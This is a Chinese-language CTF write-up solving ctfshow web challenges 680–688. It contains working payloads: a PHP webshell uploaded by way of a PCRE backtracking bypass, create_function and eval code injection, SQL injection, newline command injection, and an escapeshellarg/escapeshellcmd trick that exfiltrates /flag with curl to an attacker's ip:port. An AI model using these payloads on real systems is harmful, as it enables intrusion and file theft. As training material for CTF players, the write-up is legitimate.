web680
code=phpinfo();
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,
proc_open,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait
,pcntl_wifexited,pcntl_wifstoped,pcntl_wifsignaled,pcntl_wexitstatus,
pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,
pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,fopen,
file_get_contents,fread,file,readfile,opendir,readdir,closedir,rewinddir
不能使用的函数是这些
但是还是可以看文件的
code=var_dump(scandir('/'));
看根目录啥也没有
code=var_dump(scandir('./'));
code=var_dump(scandir('.'));
看当前目录
code=highlight_file('secret_you_never_know');
或者直接访问下载文件
web681
sql注入
select count(*) from ctfshow_users where username = '123' or nickname = '123'
这里两个都值都被控不好直接闭合,那就和反斜杠转义
'||1#\
那么原句子就变成了
select count(*) from ctfshow_users where username = '||1#\' or nickname = '||1#\'
结果变成了
sql语句||1
web682
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){(3 a(){7{(3 b(2){9((\'\'+(2/2)).5!==1||2%g===0){(3(){}).8(\'4\')()}c{4}b(++2)})(0)}d(e){f(a,6)}})()})();',17,17,'||i|function|debugger|length|5000|try|constructor|if|||else|catch||setTimeout|20'.split('|'),0,{}));
var c2n = c =>{
if(c.length>1){
return 0
}
if(c.charCodeAt()>0x60 && c.charCodeAt()<0x67){
return c.charCodeAt()-0x57
}
if(parseInt(c)>0){
return parseInt(c)
}
return 0;
}
var s2n2su = s =>{
r=0
for (var i = s.length - 1; i >= 0; i--) {
r+=c2n(s[i])
}
return r
}
function test(){
var m=document.getElementById("message").value;
var e = 'error';
if(sha256(m)!=="e3a331710b01ff3b3e34d5f61c2c9e1393ccba3e31f814e7debd537c97ed7d3d"){
return alert(e)
}
var start = m.substring(0,8);
if(start!=='ctfshow{'){
return alert(e);
}
if(m.substring(m.length,m.length-1)!=="}"){
return alert(e);
}
var s = m.substring(8,m.length-1)
if(s.length!==36){
return alert(e);
}
var k = s.split("-")
if(k.length!==5){
return alert(e)
}
if(s2n2su(k[0])!==63){
return alert(e)
}
if(sha256(k[0].substr(0,4))!=="c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400"){
return alert(e)
}
if(sha256(k[0].substr(4,8))!=="f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc"){
return alert(e)
}
if(parseInt(k[1][0])!==(c2n('a')-1)){
return alert(e)
}
if(k[1][1]+k[1][2]+k[1][3]!=='dda'){
return alert(e)
}
if(k[2][1]!=='e'){
return alert(e)
}
if(k[2][0]+k[2][2]+k[2][3]!=0x1ae){
return alert(e)
}
if(parseInt(k[3][0])!==(c2n('a')-1)){
return alert(e)
}
if(parseInt(k[3][1])!==parseInt(k[3][3])){
return alert(e)
}
if(parseInt(k[3][3])*2+c2n('a')!==0x12){
return alert(e)
}
if(sha224(k[3][2])!=='abd37534c7d9a2efb9465de931cd7055ffdb8879563ae98078d6d6d5'){
return alert(e)
}
if(st3(k[4])!=='GVSTMNDGGQ2DSOLBGUZA===='){
return alert(e)
}
alert('you are right')
}
const Base64 = {
_keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
encode: function (e) {
var t = "";
var n, r, i, s, o, u, a;
var f = 0;
e = Base64._utf8_encode(e);
while (f < e.length) {
n = e.charCodeAt(f++);
r = e.charCodeAt(f++);
i = e.charCodeAt(f++);
s = n >> 2;
o = (n & 3) << 4 | r >> 4;
u = (r & 15) << 2 | i >> 6;
a = i & 63;
if (isNaN(r)) {
u = a = 64
} else if (isNaN(i)) {
a = 64
}
t = t + this._keyStr.charAt(s) + this._keyStr.charAt(o) + this._keyStr.charAt(u) + this._keyStr.charAt(a)
}
return t
},
decode: function (e) {
var t = "";
var n, r, i;
var s, o, u, a;
var f = 0;
e = e.replace(/[^A-Za-z0-9+/=]/g, "");
while (f < e.length) {
s = this._keyStr.indexOf(e.charAt(f++));
o = this._keyStr.indexOf(e.charAt(f++));
u = this._keyStr.indexOf(e.charAt(f++));
a = this._keyStr.indexOf(e.charAt(f++));
n = s << 2 | o >> 4;
r = (o & 15) << 4 | u >> 2;
i = (u & 3) << 6 | a;
t = t + String.fromCharCode(n);
if (u != 64) {
t = t + String.fromCharCode(r)
}
if (a != 64) {
t = t + String.fromCharCode(i)
}
}
t = Base64._utf8_decode(t);
return t
},
_utf8_encode: function (e) {
e = e.replace(/rn/g, "n");
var t = "";
for (var n = 0; n < e.length; n++) {
var r = e.charCodeAt(n);
if (r < 128) {
t += String.fromCharCode(r)
} else if (r > 127 && r < 2048) {
t += String.fromCharCode(r >> 6 | 192);
t += String.fromCharCode(r & 63 | 128)
} else {
t += String.fromCharCode(r >> 12 | 224);
t += String.fromCharCode(r >> 6 & 63 | 128);
t += String.fromCharCode(r & 63 | 128)
}
}
return t
},
_utf8_decode: function (e) {
var t = "";
var n = 0;
var r = c1 = c2 = 0;
while (n < e.length) {
r = e.charCodeAt(n);
if (r < 128) {
t += String.fromCharCode(r);
n++
} else if (r > 191 && r < 224) {
c2 = e.charCodeAt(n + 1);
t += String.fromCharCode((r & 31) << 6 | c2 & 63);
n += 2
} else {
c2 = e.charCodeAt(n + 1);
c3 = e.charCodeAt(n + 2);
t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);
n += 3
}
}
return t
}
}
function st3(srcString) {
if (!srcString) {
return '';
}
let BASE32CHAR = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
let i = 0;
let index = 0;
let digit = 0;
let currByte;
let nextByte;
let retrunString = '';
srcString = Base64._utf8_encode(srcString);
for (let i = 0; i < srcString.length;) {
currByte = (srcString.charCodeAt(i) >= 0) ? srcString.charCodeAt(i)
: (srcString.charCodeAt(i) + 256);
if (index > 3) {
if ((i + 1) < srcString.length) {
nextByte = (srcString.charCodeAt(i + 1) >= 0)
? srcString.charCodeAt(i + 1)
: (srcString.charCodeAt(i + 1) + 256);
} else {
nextByte = 0;
}
digit = currByte & (0xFF >> index);
index = (index + 5) % 8;
digit <<= index;
digit |= (nextByte >> (8 - index));
i++;
} else {
digit = (currByte >> (8 - (index + 5))) & 0x1F;
index = (index + 5) % 8;
if (index == 0) {
i++;
}
}
retrunString = retrunString + BASE32CHAR.charAt(digit);
}
while((retrunString.length % 8) !== 0){
retrunString += "=";
}
return retrunString;
}
一个解密的题目,嗯不算解密但是也不算不解密吧
欧克那么开凿
if(sha256(k[0].substr(0,4))!=="c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400"){
return alert(e)
}
ctfshow{592b
if(sha256(k[0].substr(4,8))!=="f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc"){
return alert(e)
}
ctfshow{592b9d77
if(parseInt(k[1][0])!==(c2n('a')-1)){ //(10-1=9)
return alert(e)
}
ctfshow{592b9d77-9
if(k[1][1]+k[1][2]+k[1][3]!=='dda'){
return alert(e)
}
ctfshow{592b9d77-9dda-
if(k[2][1]!=='e'){
return alert(e)
}
e
if(k[2][0]+k[2][2]+k[2][3]!=0x1ae){
return alert(e)
}
ctfshow{592b9d77-9dda-4e30
if(parseInt(k[3][0])!==(c2n('a')-1)){
return alert(e)
}
ctfshow{592b9d77-9dda-4e30-9
if(parseInt(k[3][1])!==parseInt(k[3][3])){
return alert(e)
}
ctfshow{592b9d77-9dda-4e30-99a9
if(parseInt(k[3][3])*2+c2n('a')!==0x12){
return alert(e)
}
得到9
if(sha224(k[3][2])!=='abd37534c7d9a2efb9465de931cd7055ffdb8879563ae98078d6d6d5'){
return alert(e)
}
a
if(st3(k[4])!=='GVSTMNDGGQ2DSOLBGUZA===='){
return alert(e)
}
ctfshow{592b9d77-9dda-4e30-99a9-5e64f4499a52}
sh256的脚本
import hashlib
string="0123456789abcdef"
for i in string:
for j in string:
for k in string:
for l in string:
key=i+j+k+l
out1=hashlib.sha256(key.encode('utf-8')).hexdigest()
if(out1=='c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400'):
print(key)
if(out1=='f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc'):
print(key)
sh224的脚本
import hashlib
string='0123456789abcdef'
for i in string :
key=i
out1=hashlib.sha224(key.encode('utf-8')).hexdigest()
if out1 =='abd37534c7d9a2efb9465de931cd7055ffdb8879563ae98078d6d6d5':
print(key)
var c2n = c => {
if(c.length > 1){
return 0;
}
if(c.charCodeAt() > 0x60 && c.charCodeAt() < 0x67){
return c.charCodeAt() - 0x57;
}
if(parseInt(c) > 0){
return parseInt(c);
}
return 0;
};
console.log(c2n('a') - 1);
函数计算
web683
<?php
error_reporting(0);
include "flag.php";
if(isset($_GET['秀'])){
if(!is_numeric($_GET['秀'])){
die('必须是数字');
}else if($_GET['秀'] < 60 * 60 * 24 * 30 * 2){
die('你太短了');
}else if($_GET['秀'] > 60 * 60 * 24 * 30 * 3){
die('你太长了');
}else{
sleep((int)$_GET['秀']);
echo $flag;
}
echo '<hr>';
}
highlight_file(__FILE__);
?秀=0x4f5880
随便绕绕就行
web684
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
这里使用create_function
但是怎么绕过呢
fuzz发现\
可以
这里借用一位师傅的代码
create_function('$a,$b','return 111')
==>
function a($a, $b){
return 111;
}
那么我们执行代码的话直接提前闭合function然后注释即可
create_function('$a,$b','return 111;}phpinfo();//')
==>
function a($a, $b){
return 111;}phpinfo();//
}
?action=\create_function&arg=}system('tac /se*');//
web685
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = './data/';
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php'; //写入在url/data/{0-10}.php
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
这里的正则不用想着绕过了,但是我们可以使用回溯次数超标绕过
P神之前有篇文章
PHP利用PCRE回溯次数限制绕过某些安全限制
而常见的正则引擎,又被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:
DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
由于NFA的执行过程存在回溯,所以其性能会劣于DFA,但它支持更多功能。
大多数程序语言都使用了NFA作为正则引擎,其中也包括PHP使用的PCRE库。
回溯次数上限默认是100万。那么,假设我们的回溯次数超过了100万,preg_match返回的非1和0,而是false。
失败之后即可绕过
避免多次回溯对vps造成压力,脚本最后加了一个if
import requests
url = "http://8a4c2e70-4bf2-4508-b361-723f32954482.challenge.ctf.show/"
files = {
'file':'<?php eval($_POST[1]);?>'+'b'*1000000 //加长字符,回溯次数增多
}
r = requests.post(url=url,files=files)
for i in range(0,10):
u = url + 'data/{0}.php'.format(i)
data = {
# '1':'system("ls /;echo baozongwi");'
'1':'system("tac /se*;echo baozongwi");'
}
r = requests.post(url=u,data=data)
if 'baozongwi' in r.text:
print(r.text)
web686
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
?code=var_dump(get_defined_vars());
发现GET传入的是在第一个元组
而一般我们传入的GET参数都是以
如图我们需要调到最后一个元素
当然如果我们传参顺序变化了的话就可以选择调到第一个
?shell=system('ls /');&code=eval(reset(current(get_defined_vars())));
?code=eval(end(current(get_defined_vars())));&shell=system('tac /se*');
web687
<?php
highlight_file(__FILE__);
$target = $_REQUEST[ 'ip' ];
$target=trim($target);
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 1 ' . $target );
echo "<pre>{$cmd}</pre>";
ping 一次,1或者0
,都是本地然后%0a
截断
?ip=0%0atac /f*
web688
<?php
highlight_file(__FILE__);
error_reporting(0);
//flag in /flag
$url = $_GET['url'];
$urlInfo = parse_url($url);
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
die( "scheme error!");
}
$url=escapeshellarg($url);
$url=escapeshellcmd($url);
system("curl ".$url);
curl url -F file=@/flag
最终的目标
<?php
$a = "1' xxx";
$a = escapeshellarg($a);
var_dump($a);
$a = escapeshellcmd($a);
var_dump($a);
string(11) "'1'\'' xxx'" string(13) "'1'\\'' xxx\'"
一个函数那我们是不能成功的而两个的话,就会转义变注释就欧克了
<?php
$a = "1' xxx'";
$a = escapeshellarg($a);
var_dump($a);
$a = escapeshellcmd($a);
var_dump($a);
string(15) "'1'\'' xxx'\'''" string(17) "'1'\\'' xxx'\\'''"
'1'\''xxx'\'''
'1'\\''xxx'\\'''
构造payload
?url=http://ip:port/' -F file=@/flag '
最后面害得有个空格,不然无法识别
有空格就可以,还是得多尝试昂